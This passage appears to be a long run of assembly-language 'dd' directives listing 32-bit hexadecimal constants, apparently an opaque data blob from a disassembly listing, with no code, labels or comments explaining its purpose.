0B1013A7Ch, 0E7FCF143h, 7C72CD30h, 93498900h dd 5ABE0646h, 79225400h, 58BFAEE5h, 738C0343h, 37CFE1FFh dd 0A9AA8911h, 42F487Bh, 166F1A81h, 0D00C80C4h, 0CC8048D8h dd 5C837CF6h, 916B9CDDh, 4BA0081h, 0D0850454h, 2B40F830h dd 0EF1A0372h, 370225E2h, 77C6148h, 0DFAD78FAh, 4AD46189h dd 89033432h, 3E295465h, 30702FE0h, 2E560400h, 6016CB8Ch dd 0F0C2138Bh, 0AC6488AAh, 360BB709h, 1A2C85CCh, 0E81DE8C8h dd 0E37900DFh, 7B09E1CFh, 0BC01D264h, 7F73AE0Bh, 0D6F525E0h dd 0EBF08048h, 33183E00h, 0B7003A70h, 0C1EBE21Fh, 3835B78h dd 0CAFB59D2h, 810118DAh, 3681543Bh, 0A852E0FEh, 0B6D321A8h dd 221422FAh, 2CF1000Bh, 6DC4990Ch, 0DF041830h, 56A9B7AAh dd 202204D2h, 8C257DC6h, 17A6EE00h, 7770FE64h, 823B0935h dd 0F002ABD8h, 0F094720h, 859708B4h, 81B1AF6Ch, 31A36009h dd 20B4040Dh, 73AA3EDCh, 250E2891h, 0BB6842A5h, 7814604Ah dd 0A7C08A0Dh, 0A1DDBB5h, 6F3D5541h, 6702C019h, 0DD53F7E3h dd 8EDD87E0h, 502AF71Dh, 23421132h, 602BAD3Eh, 83393491h dd 314D03E5h, 7B2FB949h, 3EB06883h, 0A80B78B7h, 37C57C3h dd 1A0FA76Ch, 41182469h, 0A491C050h, 6FAF7881h, 0D42DB767h dd 40123422h, 2C083D1Eh, 8357476Fh, 410327CDh, 63D0DFF4h dd 0ACAAA8D7h, 4CFA0013h, 1A8DE65Fh, 230CCE5Eh, 7922260Dh dd 880B5678h, 0CE4AB002h, 0E0708146h, 98527721h, 764039CAh dd 5BC4AE01h, 7731519h, 0F86067F1h, 0ACD916DEh, 97040855h dd 83287A80h, 2BC761h, 0BC026450h, 0D701F61Fh, 1A5C4F00h dd 87D32FF7h, 0DC7A14EBh, 1403F896h, 4F6FF383h, 1F1AA101h dd 79BB33CDh, 7D28C6E6h, 0A1901Eh, 6ACA17E1h, 2B588EE0h dd 0B8C0FFECh, 425C0153h, 0B8BB17AAh, 3488081Eh, 3580529Fh dd 68EEC25Eh, 0FC310036h, 0EA30B28Ah, 90009817h, 0B8E1D248h dd 0E0E4D49h, 5F82D7B5h, 0B9282D80h, 0A6F8A80Ch, 0FD27501h dd 0E30EFFBEh, 0CFE80AF5h, 0AEAA00D0h, 663734C0h, 76EEAB83h dd 0BA1D0428h, 12D4531Dh, 186F00BAh, 159EA3E0h, 0DE81Ch dd 34BBA0F2h, 0AD3871BAh, 2FBDD603h, 0B868C763h, 890872h dd 40F7D110h, 2218716Ah, 48774B01h, 0F45DA342h, 7FC04083h dd 81BCCDF7h, 0FC83075Ah, 0E800A63Fh, 4D3C6312h, 60A21EDCh dd 0F913710Ch, 0A00AE6Fh, 0C4FD2D95h, 25156148h, 5DCB18Dh dd 0A3FBC603h, 6F311C13h, 695B009Ch, 8AB3BA21h, 6E75BC00h dd 3EB015D5h, 1129C3E4h, 0E0A3C37Ch, 0D305AFC1h, 87E11919h dd 11810EB0h, 3E3CC685h, 3B6BD01Dh, 0FD1AEA00h, 9A67392h dd 0E808611Ch, 88108C42h, 27EAD1h, 4CBB9DE9h, 74003D13h dd 9EE34DEFh, 0CBC15BFh, 7E79107Bh, 5064081h, 0F7DA1250h dd 10A43089h, 47244581h, 8F906A00h, 0E485AD1Fh, 2B4339A8h dd 6B3FCD80h, 0E85F8EF5h, 3AFF91Dh, 76227028h, 18CD989Fh dd 10AB3847h, 19C7B99Dh, 9A805208h, 0B529E3h, 56172E64h dd 0F883D96Bh, 48C81350h, 0A3BBF008h, 0AF478FEAh, 0AD00A9AFh dd 1D714D5h, 89C60D1h, 3F76489h, 7C3C18E0h, 85E0E2C3h dd 3530C020h, 10B0E1ECh, 898A6374h, 190090D9h, 0A1EDE97Eh dd 6E1C80h, 74350A7Bh, 2A85AC96h, 854A243Eh, 0A5A31E6Bh dd 0C3437404h, 0E7372020h, 0F7DBF804h, 18C06D08h, 0BE5825h dd 5C4E9413h, 3DBAF9BFh, 3A4F1800h, 0AAF5D741h, 0E4C050DBh dd 357E0251h, 27AD7463h, 0F5090440h, 0D9C3F9CCh, 2DE04FDh dd 0EBDB456Ch, 28757300h, 0B017BC81h, 0A4EF5116h, 0CDAA9C0h dd 0B09AC083h, 53003BA1h, 0E7DB6310h, 0E57A8h, 98C7870h dd 49E6ECCAh, 0A084C3B0h, 52E7C303h, 0E0F4F3BEh, 0A99D2B5Dh dd 0EE1085E0h, 0E1035672h dd 0E6C9F44Eh, 3205B0A2h, 0F95B0010h, 266289EDh, 6F0039B2h dd 83C120DEh, 0C3A27411h, 0FFA5A841h, 0C3CC90ECh, 0C4A8BC20h dd 7D00F606h, 4165DDBEh, 0A3CE9A2h, 0DC3EAFF8h, 0A6C080BCh dd 0A967DB4Ch, 8BA810A0h, 0E0989354h, 7B22ED00h, 2E44F4EAh dd 0E69D485Fh, 39AA92Eh, 14B55EACh, 0A3221114h, 15C01E14h dd 0EBE07B40h, 6048DAF2h, 866951FCh, 73005F18h, 499C7EB7h dd 1FCAE779h, 0D5E27Fh, 3C38A9BBh, 0D4F74206h, 9C00956Ah dd 0BFC2B59Fh, 3AF350Bh, 56D9B0C7h, 0D0A7ECE5h, 1EA3745Eh dd 0CD7DEF00h, 0B8DF2702h, 52E3004Ah, 0C93CDB72h, 0B405B0C1h dd 8ADA57ECh, 4EB59040h, 776DF4CEh, 0C265007Ch, 0FF58E42Fh dd 56756B8Bh, 64058403h, 0A01E95D4h, 3EF90EAh, 0E362AC5Fh dd 49F0F951h, 0EB006DFFh, 8455C30Ah, 0E5F6A3h, 1551A971h dd 66617B2Eh, 0D00C8579h, 2804BED5h, 0DE8F78B5h, 69FC0D30h dd 8516F008h, 591FAD0Ah, 0D500A7B6h, 0E1789DDFh, 0EA20C14Dh dd 0C0442058h, 4F0076A0h, 89FC146Eh, 0C0E19A7h, 3D0A6773h dd 0D6606B89h, 2A707D61h, 0D8F487h, 4BC366FBh, 0BAF1F8D2h dd 89A05900h, 0FD8FA9F3h, 0EE00679h, 0A9BF4D63h, 8C00CC98h dd 4829B376h, 35E97ACh, 40AAA238h, 27D0E022h, 6E3B7EE4h dd 625A8046h, 0BAA5598Bh, 5EDB1560h, 0FC182C08h, 0F198E96Fh dd 1DF66B0Eh, 546E476Ch, 718C8BC0h, 0C13660EBh, 7C0A3B44h dd 540138F0h, 4CDBF713h, 6FC4FBEBh, 0AD3F306Ch, 71C48B28h dd 0DE88B518h, 6F6763F1h, 3503C137h, 793E5458h, 17B70632h dd 38E8E9A9h, 29600D67h, 4E570FEEh, 0A2EF8300h, 32ADC2B9h dd 0D0733885h, 8DC8DA9h, 0C880C58Ch, 0AFE70FE9h, 3235F6B1h dd 4A697D5Dh, 6647A090h, 67885B00h, 13E79E9Ah, 4B8207B1h dd 3018D081h, 78AE60D3h, 0F78B713Fh, 9101C137h, 0D6EFFE0h dd 39A71C38h, 5E183A0Bh, 0AD89A863h, 9600F0A6h, 4A3C2A22h dd 24C9158h, 8C7D43CAh, 0E2E06CACh, 630C6F07h, 307B33ECh dd 0A018055Ch, 8684335h, 91808C58h, 0D972E7C7h, 0E8970C33h dd 18E16B0Fh, 0EFED6903h, 14501984h, 5897D239h, 71BC8D05h dd 64C84C78h, 9E0383A8h, 0B607CB5Ch, 37E9D02Dh, 7012623Fh dd 4CE0C31Ch, 93005DF2h, 785C7A0Ah, 0A0481A0h, 0D280B550h dd 0EA5841E8h, 0ED98100Bh, 0CED601B8h, 0DAC59A7Ch, 892F6017h dd 6371DC2Ch, 0B54AD906h, 0A3403D1h, 6E096AA1h, 0D263C188h dd 59610600h, 67E6BFBEh, 6DE72839h, 4CDA45ECh, 0F700EB54h dd 10C83C2h, 90754647h, 0E064F864h, 58049270h, 316EEC35h dd 124E03C0h, 0EB0029FBh, 8962B65Fh, 90A7DD59h, 2738CC88h dd 0F87FE4C9h, 78E039C0h, 5320ACCh, 0A1BF8A86h, 0A8BCD2h dd 35E98D76h, 0FD836Eh, 0BFE331C7h, 0E7232FEEh, 62003C9Bh dd 78204BF5h, 0B674FEh, 596910E3h, 7EFD043h, 0C58A2284h dd 1160CF48h, 5210ACA7h, 80B68862h, 0E12B6181h, 910009CCh dd 0DA2C60EDh, 50E5CF3Dh, 1E197CFDh, 804E5B30h, 9A0F66DFh dd 0DBEE9EA7h, 58016305h, 8000A3F1h, 258F0A59h, 44089A72h dd 0FA004F67h, 34CF7939h, 3EBE668Ch, 0FC066FFDh, 0B1D781B5h dd 0B7EDD218h, 0C00DEB99h, 381BC5F9h, 6D05A7D8h, 156CDC4Ah dd 83EB1804h, 5DF39C40h, 423002B2h, 4A4421D9h, 300D888Fh dd 874B492h, 0EF822F9h, 67C28197h, 0EA614550h, 61D6F3CAh dd 0E9F492C0h, 47C38083h, 3BC58802h, 66D18DB5h, 94244h dd 0A861905Bh, 303E6420h, 31906C6h, 989034F3h, 0B4445F03h dd 0D933E35Dh, 4998D868h, 1D46705Ch, 0C65A0600h, 83804E05h dd 470E00D6h, 9ED2938Ah, 0A23E635Bh, 7F1E0013h, 5CC287B2h dd 268400E5h, 1207ACB6h, 0E715946Dh, 0BC6BFDh, 56F632F9h dd 0F0CD0E8Bh, 467E1813h, 0BD0578C0h, 0E4654503h, 0A0CA9CD3h dd 491BD15Dh, 35223C27h, 0C6A70100h, 5A098A8Ch, 0E8020FAEh dd 480F1714h, 58038901h, 40022E5h, 753980CCh, 6894C30Ah dd 0D5D305E3h, 9984082h, 44CA6275h, 3F60E400h, 7308EE79h dd 0D3E30F0Ch, 0FD86F494h, 1773C961h, 0D0A2126h, 9C030326h dd 0B7AE5C01h, 2BA9B4A0h, 78EF1DBBh, 5A30F054h, 81C033EAh dd 0F795633Ch, 9A4D0E4Bh, 0F100E6D1h, 9FFB8BC2h, 32CE7E04h dd 389514CCh, 22E41054h, 7E1F0003h, 29069854h, 0E8C3BBC5h dd 32EB35h, 79C96721h, 92FA73Dh, 40478800h, 0B9A3BD7Eh dd 4DAB17CCh, 0B762042Bh, 0E85C88E6h, 56310E9h, 0BC892429h dd 782162A0h, 0AE406624h, 6AA55F38h, 7B588004h, 67C0E0EFh dd 49A30FEDh, 4510F0A2h, 80898867h, 0B29CFCBCh, 0DD00E75Eh dd 5F14232Dh, 9FDA068h, 4D024F5Dh, 0CAF9819h, 39A42CD8h dd 35D260D8h, 0F6004B44h, 0D5B13A3Ch, 7539FE11h, 8B0A8h dd 3B5E40FDh, 652276FAh, 5718FB72h, 18A1A4DEh, 669F26C3h dd 0DF8F42C8h, 0E106C11h, 0D80AEADDh, 50FE9E2Dh, 0C5BB46C5h dd 78248202h, 314428E4h, 728A1F02h, 87C60B99h, 7054F487h dd 91C5A25Ch, 0F5B85A06h, 228979D1h, 8D293AEAh, 8391CCDBh dd 86E59F0Fh, 0D88FE320h, 0E40390EBh, 6DBDD151h, 356490FEh dd 0E8BF480Ah, 8504504Ch, 81EB6574h, 32E6C5A4h, 22863E0h dd 0B446A85Bh, 8963042Dh, 90A2F501h, 25DB524h, 1E629090h dd 0E4F8DF40h, 55472238h, 0A1905A05h, 5000ECD3h, 815F1C98h dd 0D83D49EAh, 0C0000F22h, 7FDC58F3h, 139B87F6h, 501F92EDh dd 0EC0BFC34h, 0CF816031h, 0CC93D56Dh, 45003DA6h, 351FA43h dd 0E1C13h, 265C36AEh, 93CDFC98h, 6301C370h, 0A3ADC6CEh dd 8980B04Ah, 0DEEEBCABh, 3C008925h, 8BA0A8F5h, 0CFB450h dd 0F414A50Ch, 477F3548h, 13D9500h, 9CBFCBE7h, 0D2910078h dd 0BA9D1C9Fh, 0FB260312h, 4406A0E9h, 30618F90h, 4FD90CEBh dd 1300387Fh, 5B3725B3h, 28EEC71Fh, 148030E7h, 0AC518A9Ch dd 418B4A86h, 0E010B000h, 3706EBEFh, 5A722CD8h, 0C7C44590h dd 605E124Ch, 0A21C6410h, 0DC4000B4h, 7356E370h, 3431024Eh dd 3C6FF27Dh, 6C00CCC6h, 262BE927h, 611E71h, 638B7AEAh dd 7CF01FFh, 22A0EC00h, 0F1738CDBh, 151D004Dh, 657CE3D5h dd 43008A55h, 4B0350E2h, 38063018h, 0FE45EDh, 0A9AFD6Dh dd 833BCCF6h, 37129674h, 508882B5h, 250A725Fh, 0EC027AFDh dd 5C643667h, 4D651C0Ch, 0DBC98Ah, 8D8C3528h, 0DE42C97Ch dd 9C8823Eh, 40528FB4h, 13D3CFA0h, 2E16746h, 0D1583656h dd 0E644048h, 87593E69h, 0D0CAEC18h, 0A3B450h, 0F9D2AD4Fh dd 656FDAEEh, 20D4CC26h, 0A7380B82h, 0F0604498h, 676E0A26h dd 82C200Dh, 318265FDh, 0E039B2C2h, 1FCC71Dh, 0C54081B8h dd 63EEA00Fh, 273A70h, 542D7AC4h, 122B8F6Dh, 880FF163h dd 4200CE60h, 31F31B3h, 0A096D3E1h, 90C9F908h, 0AC6C20B8h dd 1CDC6B22h, 1D6D68FEh, 0E20C0145h, 60F22CFDh, 0C27B5BE8h dd 0AC4AC429h, 80BBA700h, 1686426h, 297BDD3h, 24BEB958h dd 444803F0h, 34EC03FBh, 229A4543h, 92F86CE8h, 3D13600h dd 150181A7h, 5238C0B8h, 533280B5h, 0AA00CCA6h, 352A8A3Ah dd 8B83A058h, 602837FAh, 8DF03BAh, 0E8C9DE16h, 914845A8h dd 34052568h, 8308009Dh, 0A676D4Eh, 6B30F0A4h, 268549D5h dd 738A007Ah, 0D194A603h, 2E12F9DCh, 0EB07B2B9h, 9890258Bh dd 2E423C76h, 1A7C141Dh, 7CC81187h, 0CC2ECE0Bh, 6160283Ah dd 0F9C273h, 2E962CB5h dd 0B30587D4h, 8AEC243Ch, 905E36F6h, 20A6441h, 65E43980h dd 1BD49C05h, 3E508C0h, 3DA55115h, 0FBB8357Fh, 0EC196748h dd 0FCBBC1C0h, 0C44B8AA0h, 1D091C44h, 9700ACB2h, 79744282h dd 3700CE44h, 86F6699Bh, 1AB0BB5h, 63B4CC08h, 80515D35h dd 6B03CF91h, 0F664559Dh, 0FC9A0EC0h, 6341157Fh, 4116FDE3h dd 1003095Ch, 922CD1Fh, 185FFC7Dh, 82218064h, 663F00E6h dd 98351E89h, 0C356D2A0h, 0A916F303h, 826E14A3h, 1C4C64h dd 28056B0h, 45EE7543h, 61854200h, 640B2465h, 658A0D9h dd 38E8B180h, 234374Eh, 0D4503E47h, 1078C45Ch, 6B25C586h dd 0DA137020h, 25008241h, 5C8A5B0Ah, 1947EB72h, 0E184CC7Dh dd 0D0508409h, 40C201C0h, 0E4C01A0Bh, 471EE4CCh, 0FF097F99h dd 15A8616Dh, 80B34A11h, 2897ECA1h, 10EE49h, 0D88C99B7h dd 85DAB538h, 3690D401h, 0E95A0EA7h, 0E065C8CCh, 44B49631h dd 0D64D406Fh, 5CA63DB8h, 204E5779h, 6571850Ch, 30FAD400h dd 76C56494h, 0EA357F60h, 27677050h, 0ACB0C0F8h, 3C00A6EFh dd 9C7337F0h, 1109D56h, 0D9CDE2F9h, 0C66DB6D8h, 0B026E453h dd 81EC5B14h, 6B7AA4C4h, 0E4003C39h, 16CFA2E2h, 3460EAB7h dd 0CEB677C1h, 20FD0198h, 75E2F10Ch, 7A02C806h, 7B8BE804h dd 0F88887FAh, 350C4403h, 0E1525C37h, 0C8816360h, 632C9022h dd 6DFCF92Dh, 56A9211Eh, 362BABC2h, 1086EDFh, 1982A708h dd 0E049FD84h, 4D4F6A4Ch, 51F51840h, 0AA9FA96h, 0EB88E2C7h dd 9945005Ch, 7276FF16h, 8771B200h, 0FB0D154Ch, 0ECFED5h dd 0A0505FF3h, 2B15DFFh, 34224F4Ah, 20281991h, 0AB27984Ch dd 0D358A0FDh, 283B8F1h, 0B69A7F62h, 3CC03E71h, 988B81D2h dd 2CE5E12h, 354EECDCh, 0D87244EBh, 257F5122h, 4A50B64h dd 11C8A46Bh, 80AC1439h, 0C866D7B0h, 0E88D69B3h, 5F5513CCh dd 0C0810920h, 0C9E47CE8h, 79B24B30h, 0F3EAE8h, 2E079219h dd 0C1740981h, 29D5FF00h, 0E3013CCDh, 404D4E3Ah, 9E639BB0h dd 7400F1B5h, 8A367D46h, 0B91FB6Fh, 0EA574385h, 5533B404h dd 5C6909CCh, 2B44E9E8h, 925F4440h, 708D4CB4h, 27E9C19Fh dd 2848CDBDh, 2CA124B0h, 945D4A60h, 7A1D009Fh, 17B7872Bh dd 0F80E5F5Eh, 6079F9AFh, 8DC1ED97h, 9501263h, 0EE47238h dd 545B3521h, 6C058033h, 8C6247EDh, 523C9038h, 0D0DB0007h dd 0D15FC133h, 10224A23h, 0FD00244Ch, 5DD48259h, 8E00ACECh dd 67B56D9h, 283FCB2Bh, 2508DAC7h, 0EC1037FBh, 0D800336Fh dd 92F12239h, 0CC87F9h, 8F8C09E9h, 7546429Eh, 0EDF8C905h dd 80A22FE5h, 0A1D94518h, 64545DBCh, 68002758h, 0B5D6A9EAh dd 763FBB91h, 0A0E54C58h, 7919DC18h, 279871D7h, 45C5E300h dd 784E978Eh, 0C04D5C63h, 9B3DC381h, 24F0FA6Ch, 0A0D5D327h dd 0E389642Ch, 91F30BD2h, 349AED65h, 84EA6482h, 35C17A11h dd 0C09137FCh, 71D48B58h, 0C02EED98h, 0C8B8F4D5h, 0BB400200h dd 6C45355Dh, 415F136Ch, 3E4160Eh, 0A3DF3EE8h, 0D8976928h dd 3B944C00h, 1EC3E366h, 45FA25A0h, 8464B010h, 0B4ADFF00h dd 935055Dh, 602D32B7h, 0B4E4FC50h, 291D2476h, 0CD44B470h dd 7CDD0C5Eh, 1325B810h, 19375AEh, 0B3C357AFh, 2E834D28h dd 0CFF5D00h, 4E55BEDh, 0DB53CAC8h, 580CA2C0h, 6C7BC148h dd 44500A5Dh, 0B488D3D2h, 5FE64470h, 2441825h, 60575919h dd 1736B480h, 2000326Dh, 89F216DCh, 253E9CA6h, 0E0250E67h dd 0B50481E4h, 9AC238Bh, 0C82A5E4Dh, 13E9CD04h, 93D4BB37h dd 0D0880364h, 890446A4h, 88E8BA53h, 3005CB6h, 0D368F113h dd 8CE2D22Bh, 0C28860A0h, 78BA6389h, 0CEF0DFA2h, 4513090Bh dd 55D8346h, 0B08BD326h, 256A9C24h, 3C9035DBh, 0F31D7D75h dd 5A001CB7h, 3C870B62h, 7661C03h, 643740DCh, 94F65CD5h dd 35481105h, 9843E758h, 0D3836D59h, 0D3D6E050h, 0A10261EEh dd 0C25FF59Bh, 504C3150h, 980CCAA4h, 705A6EC0h, 0F2631D67h dd 5229F00Ah, 0D45C8AFEh, 40358EB8h, 16A63139h, 80F4B46Bh dd 42A77710h, 2C00F697h, 12F0ABBCh, 0F1D716Dh, 0EC417649h dd 2484E309h, 2294507Fh, 40FC5AA8h, 0D84AA70Ch, 0B03853DAh dd 284E804Fh, 3AAA92FEh, 0B91107F0h, 0CAFD9D61h, 723580CCh dd 0DC3C65E4h, 0B3896700h, 0D560E314h, 66220FFCh, 90008D74h dd 0CE2080D2h, 0CB88CC0Fh, 1ADAC06Eh, 2E4B687Ah, 384DE92Bh dd 23B420DBh, 5A1C430Bh, 0A46608AAh, 91D1D242h, 788064FCh dd 0EAECDBCEh, 4B2D5333h, 8AB0A0FAh, 68DAB0h, 0D0662356h dd 801D9889h, 99E61890h, 4FD25240h, 0D90021D5h, 6E1060B1h dd 0CB7C988Ah, 0B40D00B8h, 0FC0ABB15h, 0AA3EEA3Bh, 561897F0h dd 8BE9C008h, 0D8900264h, 55C801Bh, 0E8EA2A20h, 5B16C807h dd 1FDF5935h, 0B456C387h, 0CB047CDAh, 48C24316h, 6EB09095h dd 0B2070F83h, 0B487EEA4h, 186551DBh, 0E448887Ah, 0D04B1285h dd 0BB13BCA0h, 693AC901h, 0D9D43BB7h, 9AC14061h, 68545D08h dd 0CA90E58h, 63191154h, 80D98888h, 9A47833Eh, 0C7DEFD3h dd 8EA5570h, 39002439h, 0EB761CFCh, 0FBA590h, 0C65F529Bh dd 2D6CA1CEh, 9DCCF000h, 0E5E7EB2Ch, 44943B19h, 0C30628BEh dd 8ED4268h, 6042D1Ch, 0FDA67BC0h, 3B6EA763h, 0F6B059AFh dd 7E8DFF21h, 93741F18h, 0C05BDC59h, 0E8C1C308h, 7809BF9Eh dd 55334851h, 98A6AA80h, 40C0F375h, 9705F62Ch, 0F1570A31h dd 11401DE7h, 67C800ECh, 519D82DBh, 49EEB2h, 0D0A0C55Ch dd 5ED49FA5h, 0A40CA171h, 7967DDFEh, 0DFFC0010h, 0D042C225h dd 666107B3h, 0F2691C59h, 0DB858E07h, 0EA380823h, 81291E8Bh dd 274731FCh, 8807D890h, 0DE988058h, 67978443h, 13BA7D00h dd 5D56AC80h, 71F90057h, 27ECED33h, 0E018CD60h, 59396244h dd 0CF9DEA3h, 0C189FDCFh, 4F973300h, 0B252A29Ch, 0D78E300Dh dd 513AE7D6h, 25E5F114h, 0C4631160h, 0DB8FA300h, 0CF4CC676h dd 6C5BB300h, 0EDE7BFA0h, 44EA0C69h, 3519CE79h, 28130703h dd 0D09FEB4Ch, 8A6C7h, 5AC80D93h, 0DB7DF997h, 16A981EBh dd 6A77EC46h, 7FD9741h, 8F40661h, 0CF7A007Eh, 0B430C78Fh dd 281FAAC4h, 7EFC09h, 763973A3h, 0BF4CDBh, 42EFE225h dd 144EED5Fh, 0EECC8F06h, 28115E6Ah, 30140377h, 67E12107h dd 860E5090h, 9E3E9479h, 0B1F617C0h, 95853B8h, 0A342112Ah dd 70200Fh, 9E3B8F2Dh, 48AA5EDDh, 0FF2A7990h, 8DC4890h dd 75C2180h, 0F38A441h, 6CC060DDh, 1D74583Ch, 8BEFA334h dd 0A3805DCAh, 6E92328Eh, 0F6113561h, 0E4418AD2h, 0E8106D43h dd 0A524F86Ah, 3F475807h, 0FFC00DE4h, 1DEE7C2h, 0AE8E90B0h dd 0C406C9ABh, 0CA0E870Eh, 80862FBEh, 0A20B3B76h, 276C0059h dd 0AB353758h, 790098A4h, 0D20C427Ch, 0EF20E5h, 444C161h dd 0F7BA637h, 0C2A0A401h, 71FFD596h, 3450B271h, 90476C31h dd 0FBD41E75h, 0A5FE0388h, 78906DE3h, 0A8C02C39h, 47293570h dd 280160BBh, 0EB6B1CA1h, 534498A4h, 76E400A0h, 9E4C8C03h dd 52139FE3h, 0EC1F7375h, 5A727B03h, 5B87809Bh, 1C6C030Bh dd 5C45E039h, 0A8594109h, 7414EDh, 9B713C7Fh, 0A2D06C11h dd 76002C7Ch, 270CE4B6h, 0CC6644E1h, 3A528841h, 2BAA8100h dd 0E0CA6E8Ch, 3064507Eh, 0E1D544A1h, 0DBF14645h, 0C126B20h dd 0F9CF2701h, 89054819h, 8880797Eh, 9D29FC00h, 0C0C2771Ch dd 2C8FAC21h, 0F091DB27h dd 0E6A43F00h, 71635Bh, 4A4EF7E1h, 0A0CD8004h, 0CA27339h dd 41C5621Fh, 5097843h, 4BE7B457h, 4972C676h, 0EB0EED7Eh dd 4C095C7Ah, 2AE1087Bh, 50746045h, 2A4446Bh, 0F1565D69h dd 800F2ADAh, 8F573935h, 26A0436h, 0D0C6A658h, 0E8F15000h dd 42291F62h, 9864EEh, 63357675h, 0B5A9AF4Dh, 0CD1A7E12h dd 3013100Eh, 0EFA7590Ah, 62884FA0h, 50AB26BEh, 60716B46h dd 3AFBA17Eh, 8F48FEE2h, 0CEE10C38h, 373B9F1h, 59E3539Dh dd 970948h, 71BDA816h, 93428013h, 0A410FA12h, 82A381C8h dd 7B70DBA0h, 3109F0CDh, 7980AAEh, 86D19D18h, 9BE34942h dd 9FDEF2h, 0E1D177F1h, 1EE404A5h, 0CB9EBF1Ch, 38196A80h dd 29F2E847h, 11881BE7h, 0FB2300E2h, 0F8D30490h, 6C9C0028h dd 0A25B0DA1h, 61E21FC2h, 0F299FA61h, 41802BE8h, 0E7B256CDh dd 0C767EA4Dh, 28024621h, 0D1B86069h, 34F6746Eh, 0C7696D1Ch dd 0C95D41A8h, 8B1180F5h, 0B0962473h, 0DBF90336h, 0EEE34216h dd 46402E98h, 8AD04348h, 778EC061h, 1FB8D545h, 0DD827DF8h dd 9060DFFBh, 3087CB34h, 0A2287F17h, 5929E7F7h, 7A96E8ADh dd 20483838h, 7C00F5DEh, 0A25009BCh, 3927082h, 1768EF63h dd 819DA560h, 1029D9C4h, 1503BC7h, 4762CD13h, 30CB63D5h dd 0FE24D830h, 0CA8C9CAFh, 894CC964h, 0FDC44807h, 0BA36A100h dd 3B56E2F9h, 0FA850026h, 0CCED1A6Bh, 111423DCh, 48180603h dd 0C87440E0h, 97E9E602h, 0A41F74EFh, 0D2C1CC0Ch, 0AFCCA234h dd 1912043Eh, 81A37DC0h, 15F374A8h, 95448Ch, 6F5CB727h dd 47FA21EAh, 253DFB00h, 0B262A06Bh, 0E8430370h, 494FE5A3h dd 0EE1B15B0h, 2607A418h, 0EFAE8799h, 0F5AECC8h, 7646E7B7h dd 3EF432F2h, 6C4E4404h, 89E8CF86h, 0AA710C00h, 640C405h dd 95079A8h, 0DCCA8DC5h, 83696700h, 0B3001DC7h, 0E497F9EFh dd 6078FDA4h, 675487Dh, 9602F663h, 0E0B4B8BFh, 15206470h dd 8CF1A959h, 9EA35003h, 1102B273h, 709C05F7h, 6C3610F6h dd 0AC5D2800h, 0A3303588h, 0BE5A2637h, 227D133Ch, 6C416D44h dd 74C6F8A8h, 0A8CBCC2Ch, 0A10A8640h, 0AFE90025h, 0FB55F6A5h dd 0B5483E57h, 0AB97126Ah, 0A328EC00h, 4CBE96E7h, 5000ECEBh dd 0B5CC7F7Ch, 68167844h, 1427DCB7h, 83BA21F1h, 3BAEEBECh dd 8801512Bh, 0DFB26A22h, 6EC3F0ACh, 0D0B174B8h, 9199180h dd 18ABC6CAh, 18F73429h, 7F29F82Ah, 0CD0098B4h, 0DE64A3Ch dd 27E4A1A4h, 5BE03110h, 0C50902F6h, 90709D6Ah, 4CDD7714h dd 0B3E6EBFh, 4845B086h, 0E07B11BBh, 616F8300h, 3D16DA75h dd 0F7684C97h, 8CEB40h, 0BA5DC7A8h, 0C3E67A2h, 28600230h dd 0DDD36Bh, 0ECEE880Dh, 3755DC4Eh, 0D484AB01h, 9E914B06h dd 3DA1E8h, 932AEE77h, 6B091EF2h, 0E20568C3h, 7A490572h dd 64F9927h, 89596F91h, 8BF8DD02h, 40F26EBDh, 0E063B238h dd 96C60F2Dh, 99C4F3D8h, 640FC0BAh, 59C0155Eh, 918646F7h dd 6EA00007h, 44D9FF51h, 0E6F84EF2h, 0FCB8803Bh, 5AC23103h dd 1E063228h, 0D3229C39h, 74CACF0h, 39ADEDB6h, 676C23A0h dd 0B06D0060h, 0F049DEEh, 8833D76Fh, 0AB8BA98Ah, 1FC878CAh dd 0C2145E4Ch, 429E5496h, 0F72B7060h, 9224EB05h, 0A3C05ADBh dd 288BE012h, 18A85DB2h, 41E3F064h, 80F16FBAh, 3836D59h dd 9EC605h, 547D7C67h, 0A18029CEh, 8DF69507h, 8A4017E8h dd 6572E12h, 85D7756Fh, 643C415Eh, 3D5963F3h, 0B9E9000Fh dd 8B6DF4EDh, 107C463Eh, 2712AC00h, 0C6516F4Ch, 1552019Bh dd 6D4F215Ah, 0F261C894h, 0BE2ADE00h, 0EAD98E4Dh, 0D3FF0249h dd 97E34190h, 172ADC8Ch, 1240D1Eh, 9F853130h, 186575ACh dd 390AFF50h, 0BE18A5C3h, 0E67097BFh, 8AB09ADh, 40108CD4h dd 4552648Bh, 95FC18E8h, 151AFA1h, 0C3A918DFh, 989F1DDDh dd 57191510h, 0A08C387h, 71303074h, 5CB20809h, 31B8CC4Fh dd 38008310h, 25772BE9h, 78B23FB3h, 47CFA80h, 6A565BA5h dd 2D5A80F2h, 8E061068h, 3321D23h, 0A6920F91h, 0AAA09D91h dd 528C455Eh, 80533D38h, 6C51E972h, 35DF91A4h, 80D1606Fh dd 59FA2DEEh, 0BC1BB700h, 1471D9FEh, 358D2A0Ah, 9D8900D0h dd 55F18038h, 9766534h, 0B30040E4h, 134D2564h, 522277F5h dd 17058C61h, 40602379h, 0DBEA1808h, 7A2491F1h, 3E3B24E6h dd 29206088h, 128DB71Ah, 448C8AD7h, 906E02BCh, 0A5A0D1C0h dd 0A26C7004h, 0A88264D2h, 0EE0521C5h, 1529806Dh, 0BB8DF18Bh dd 8A591E50h, 0EF04C339h, 200CC5DCh, 7861E67Dh, 26D9C709h dd 0C6E483F6h, 0A6BA1102h, 2FCB8A65h, 4B808E60h, 0C40FF3B0h dd 0AE1892D1h, 0F15BA015h, 8326E7FFh, 0B464F5D8h, 0E8502262h dd 0C6052FC5h, 28B45E32h, 0AE7C00DCh, 7A17CAD5h, 8A005F5h dd 1A0C5280h, 315883D4h, 39666002h, 45426FFCh, 0AD15E000h dd 0B4BB2497h, 3FD2001Eh, 5D700788h, 0C5034F09h, 1C28352Ah dd 9041DD32h, 0BF7BB476h, 0A960F7D6h, 0E100B201h, 99D8805Eh dd 9D5DA0h, 649523F5h, 7415A9EEh, 5EBA7701h, 0D3E32872h dd 0C0ABCF0h, 0B60C83F6h, 9898EA90h, 5322907Dh, 626F3003h dd 0A5B2E4B9h, 2F6DCC00h, 7C33D076h, 0D25E788Ah, 53F00D21h dd 11B827B0h, 640A69ECh, 6EF00B52h, 8E230091h, 2704FC53h dd 912A002Ch, 730E57DCh, 0FE006A45h, 0EA2E9856h, 3EE9647Eh dd 62077594h, 0C1C60C37h, 20818BE2h, 0C039734Ch, 